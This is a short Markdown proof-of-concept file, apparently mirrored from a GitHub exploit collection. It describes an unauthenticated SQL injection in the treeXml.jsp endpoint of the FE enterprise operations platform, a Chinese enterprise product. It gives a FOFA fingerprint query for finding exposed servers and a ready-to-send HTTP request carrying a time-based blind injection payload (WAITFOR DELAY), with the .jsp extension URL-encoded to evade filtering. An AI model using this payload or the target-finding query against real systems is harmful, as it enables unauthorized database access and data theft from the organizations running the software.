mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-17 23:14:52 +08:00
18 lines
490 B
Markdown
18 lines
490 B
Markdown
|
## 飞企互联-FE企业运营管理平台treeXml.jsp存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
飞企互联-FE企业运营管理平台 treeXml.jsp 接口存在SQL注入漏洞，未经授权攻击者可通过该漏洞获取数据库敏感信息。
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="FE-协作平台"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
|
|||
|
|
Host: your-ip
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|